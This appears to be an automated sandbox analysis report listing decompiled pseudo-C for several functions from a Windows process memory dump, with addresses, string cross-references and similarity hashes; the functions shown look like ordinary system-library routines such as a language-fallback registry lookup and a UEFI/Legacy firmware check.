0x03ca54b4
0x03ca54bc
0x03ca54c8
0x03ca54de
0x03ca54fb
0x03ca54e0
0x03ca54e6
0x03ca54eb
0x03ca54eb
0x03ca54de
0x00000000
0x03ca54bc
0x03ca5477
0x03ca547a
0x03ca5480
0x03ca5483
0x03ca5486
0x03ca548b
0x00000000
0x00000000
0x00000000
0x03ca548b
0x00000000
0x00000000
0x00000000
0x00000000
0x03ca5447
0x03ca5447
0x03ca5447
0x03ca5447
0x03ca544e
0x00000000
0x00000000
0x03ca5450
0x03ca5452
0x03ca5455
0x03ca545a
0x00000000
0x00000000
0x00000000
0x03ca545c
0x03ca546a
0x03ca546d
0x03ca546f
0x00000000
0x03ca546f
0x03c4e70f

Strings

\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 03C4E68C
InstallLanguageFallback, xrefs: 03C4E6DB
@, xrefs: 03C4E6C0

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: 786ffc3dd78a2139855fc01233256f91b439fb9d3fd639d873839b457f0288a4
Instruction ID: 1a54a4e5b6bf304805dd0bd2728c83a799ccac2b5a221515d79769d32686c1fd
Opcode Fuzzy Hash: 786ffc3dd78a2139855fc01233256f91b439fb9d3fd639d873839b457f0288a4
Instruction Fuzzy Hash: 1751B1765047069BC714DF29C440A6BF3E8BF89618F0A496EF985DB250FB34DA44C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 03D0E539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E03D0E539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E03D0BBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E03D0BCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E03D0AFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E03C89730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E03D0A80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E03D0A854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E03C89730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E03D0A80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E03D0A854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E03C62280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E03C5B090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E03C5FFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E03C67D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E03CFFEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x03d0e547
0x03d0e549
0x03d0e54f
0x03d0e553
0x03d0e557
0x03d0e55a
0x03d0e55c
0x03d0e55f
0x03d0e561
0x03d0e567
0x03d0e56b
0x03d0e7e2
0x00000000
0x03d0e571
0x03d0e575
0x03d0e577
0x03d0e57b
0x03d0e57c
0x03d0e57d
0x03d0e57e
0x03d0e57f
0x03d0e588
0x03d0e58f
0x03d0e591
0x03d0e592
0x03d0e592
0x03d0e596
0x03d0e59e
0x03d0e5a0
0x03d0e5a6
0x03d0e61d
0x03d0e61d
0x03d0e621
0x03d0e623
0x03d0e630
0x03d0e630
0x03d0e7e6
0x03d0e7eb
0x03d0e7ed
0x03d0e7f4
0x03d0e7fa
0x03d0e7ff
0x03d0e7ff
0x03d0e80a
0x03d0e812
0x03d0e812
0x03d0e5ab
0x03d0e5b4
0x03d0e5b9
0x03d0e5be
0x03d0e5c0
0x03d0e5c2
0x03d0e5c8
0x03d0e5c9
0x03d0e5cb
0x03d0e5cc
0x03d0e5d5
0x03d0e5e4
0x03d0e5f1
0x03d0e5f8
0x03d0e5f8
0x03d0e5d5
0x03d0e602
0x03d0e616
0x03d0e63d
0x03d0e644
0x03d0e64d
0x03d0e652
0x03d0e657
0x03d0e659
0x03d0e65b
0x03d0e661
0x03d0e662
0x03d0e664
0x03d0e665
0x03d0e66e
0x03d0e67d
0x03d0e68a
0x03d0e691
0x03d0e691
0x03d0e66e
0x03d0e6b0
0x00000000
0x03d0e6b6
0x03d0e6bd
0x03d0e6c7
0x03d0e6d7
0x03d0e6d9
0x03d0e6db
0x03d0e6de
0x03d0e6e3
0x03d0e6f3
0x03d0e6fc
0x03d0e700
0x03d0e700
0x03d0e704
0x03d0e70a
0x03d0e70a
0x03d0e713
0x03d0e716
0x03d0e719
0x03d0e720
0x03d0e761
0x03d0e76b
0x03d0e774
0x03d0e77a
0x03d0e77a
0x03d0e78a
0x03d0e791
0x03d0e799
0x03d0e79b
0x03d0e79f
0x03d0e7aa
0x03d0e7c0
0x03d0e7ac
0x03d0e7b2
0x03d0e7b9
0x03d0e7b9
0x03d0e7c7
0x03d0e806
0x00000000
0x03d0e7c9
0x03d0e7d1
0x03d0e7d8
0x00000000
0x03d0e7d8
0x00000000
0x00000000
0x03d0e722
0x03d0e72e
0x03d0e748
0x03d0e74c
0x03d0e754
0x03d0e756
0x03d0e75c
0x03d0e75c
0x00000000
0x03d0e75c
0x03d0e758
0x03d0e758
0x00000000
0x03d0e758
0x03d0e750
0x00000000
0x00000000
0x03d0e752
0x00000000
0x03d0e752
0x03d0e730
0x03d0e735
0x03d0e73d
0x03d0e73f
0x00000000
0x00000000
0x03d0e741
0x03d0e741
0x00000000
0x03d0e741
0x03d0e739
0x00000000
0x00000000
0x03d0e73b
0x00000000
0x03d0e73b
0x03d0e722
0x03d0e720
0x03d0e6b0
0x03d0e618
0x00000000
0x03d0e618

Strings

`, xrefs: 03D0E5D7
`, xrefs: 03D0E670

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: 1c7c4fb79d5833d67647720d01b2be8cdffe2d95203af2268bfa4d240ddc751f
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: FA918C356047419BE724CE65C845B2BB7E6AFC4B14F188D2DF995CB2C0E774E904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 03CC51BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E03CC51BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x3d205f0);
				E03C9D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E03C5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E03CC53CA(0);
						return E03C9D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E03C8F3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E03C63690(1, _t117, 0x3c21810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E03C8AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L03C64620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E03C8AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E03CC500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E03C89860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x03cc51be
0x03cc51c3
0x03cc51c8
0x03cc51cd
0x03cc51d0
0x03cc51d3
0x03cc51d8
0x03cc51db
0x03cc51de
0x03cc51e0
0x03cc51e3
0x03cc51e6
0x03cc51e8
0x03cc5342
0x03cc5351
0x03cc5356
0x03cc535a
0x03cc5360
0x03cc5363
0x03cc5366
0x03cc5369
0x03cc5369
0x03cc536b
0x03cc536b
0x03cc5370
0x03cc53a3
0x03cc53a4
0x03cc53a6
0x03cc53ab
0x03cc53ab
0x03cc53ae
0x03cc53ae
0x03cc53b5
0x03cc53bf
0x03cc53bf
0x03cc5375
0x03cc5396
0x03cc53a0
0x03cc53a0
0x00000000
0x03cc5396
0x03cc5377
0x03cc5379
0x03cc537f
0x03cc538c
0x03cc5390
0x00000000
0x03cc5390
0x03cc51ee
0x03cc51f1
0x03cc5301
0x03cc5310
0x03cc5315
0x03cc5318
0x03cc531b
0x03cc5320
0x03cc532e
0x03cc5331
0x00000000
0x03cc5331
0x03cc5328
0x03cc5329
0x00000000
0x03cc5329
0x03cc51fa
0x03cc5235
0x03cc5236
0x03cc5239
0x03cc523f
0x03cc5240
0x03cc5241
0x03cc5242
0x03cc5246
0x03cc5247
0x03cc524e
0x03cc5251
0x03cc5267
0x03cc5269
0x03cc526e
0x03cc527d
0x03cc527e
0x03cc5281
0x03cc5282
0x03cc5287
0x03cc5288
0x03cc528a
0x03cc528f
0x03cc5294
0x00000000
0x00000000
0x03cc529a
0x03cc529c
0x03cc529e
0x03cc529e
0x03cc52a4
0x03cc52b0
0x00000000
0x00000000
0x03cc52ba
0x03cc52bc
0x03cc52bc
0x03cc52d4
0x03cc52d9
0x03cc52dc
0x03cc52e1
0x00000000
0x00000000
0x03cc52e7
0x03cc52f4
0x00000000
0x03cc52f4
0x03cc5270
0x00000000
0x03cc5270
0x03cc51fc
0x03cc51fd
0x03cc5202
0x03cc5203
0x03cc5205
0x03cc520a
0x03cc520f
0x00000000
0x00000000
0x03cc521b
0x03cc5226
0x03cc522b
0x03cc521d
0x03cc521d
0x03cc5222
0x03cc5222
0x03cc522d
0x00000000

Strings

UEFI, xrefs: 03CC521D
Legacy, xrefs: 03CC5226

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 652c9b98371a5b6f7b7ca2fa29b1575b8525cf2198370dbedcd89b945bc38362
Instruction ID: d7c620d929bb901fe1a9fc9adacd61f1257429f442530a49cae517e6868dee9b
Opcode Fuzzy Hash: 652c9b98371a5b6f7b7ca2fa29b1575b8525cf2198370dbedcd89b945bc38362
Instruction Fuzzy Hash: 94517EB5E107599FDB24DFAAC880AADBBF8FF49700F19402DE519EB291D671A940CB10

Uniqueness

Uniqueness Score: -1.00%

Function 03C6B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E03C6B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x3d3d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E03C67D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E03D18CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E03C89E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E03C8B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E03C8CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E03C67D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E03D18F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E03C8AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x3d38628; // 0x0
								_v68 = _t77;
								_t78 =  *0x3d3862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x3d38628; // 0x0
							_t116 =  *0x3d3862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x03c6b94c
0x03c6b956
0x03c6b95c
0x03c6b95e
0x03c6b964
0x03c6b969
0x03c6b96d
0x03c6b96d
0x03c6b970
0x03c6b974
0x03c6b97a
0x03c6badf
0x03c6badf
0x03c6bae2
0x03c6bae4
0x03c6bae6
0x03c6baf0
0x03cb2cb8
0x03c6baf6
0x03c6baf6
0x03c6baf6
0x03c6bafd
0x03c6bb1f
0x03c6bb1f
0x03c6baff
0x03c6bb00
0x03c6bb00
0x03c6bb03
0x03c6bb03
0x03c6bacb
0x03c6bacf
0x03c6bad0
0x03c6bad1
0x03c6badc
0x03c6badc
0x03c6b980
0x03c6b980
0x03c6b988
0x03c6b98b
0x03c6b98d
0x03c6b990
0x03c6b993
0x03c6b999
0x03c6b99b
0x03c6b9a1
0x03c6b9a5
0x03c6b9aa
0x03c6b9b0
0x03c6b9bb
0x03c6b9c0
0x03c6b9c3
0x03c6b9ca
0x03c6b9cc
0x03c6b9cf
0x03c6b9d3
0x03c6b9d7
0x03c6ba94
0x03c6ba94
0x03c6ba98
0x03c6baa3
0x03cb2ccb
0x03c6baa9
0x03c6baa9
0x03c6baa9
0x03c6bab1
0x03cb2cd5
0x03cb2cdd
0x03cb2cdd
0x03c6babb
0x03c6babc
0x03c6bac2
0x03c6bac3
0x03c6bac3
0x03c6bac6
0x00000000
0x03c6b9dd
0x03c6b9dd
0x03c6b9e7
0x03c6b9e7
0x03c6b9ec
0x03c6b9ec
0x03c6b9f1
0x03c6b9f5
0x03c6b9fa
0x03c6ba00
0x03c6ba0c
0x03c6ba10
0x03c6ba10
0x03c6ba12
0x03c6ba18
0x00000000
0x00000000
0x03c6bb26
0x03c6bb26
0x03c6ba1e
0x03c6ba1e
0x03c6ba23
0x03c6ba25
0x03c6ba2c
0x03c6ba30
0x03c6ba35
0x03c6ba35
0x03c6ba41
0x03c6ba46
0x03c6ba4c
0x03c6ba50
0x03c6ba54
0x03c6ba6a
0x03c6ba6e
0x03c6ba70
0x03c6ba74
0x03c6ba78
0x03c6ba7a
0x03c6ba7c
0x03c6ba8e
0x03c6ba90
0x03c6ba92
0x03c6bb14
0x03c6bb14
0x03c6bb16
0x03c6bb16
0x00000000
0x03c6ba7c
0x03c6bb0a
0x03c6bb0d
0x00000000
0x00000000
0x00000000
0x03c6bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 03C6B9A5

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 5e7491d7c6634387d2de5dbfbece955283d981b84eb3a4c8445d4977a02b7b68
Instruction ID: f7330d2e86c55db59bce401f7f31adb9147c45dd59a5c8790236ae2f2d86592f
Opcode Fuzzy Hash: 5e7491d7c6634387d2de5dbfbece955283d981b84eb3a4c8445d4977a02b7b68
Instruction Fuzzy Hash: A2511371A183408FC720DF2AC4C092ABBE9BB88754F19896EF595CB355DB31ED44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 03C4B171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E03C4B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x3d1f7a8);
				E03C9D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E03C9D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E03C8D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E03C8F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
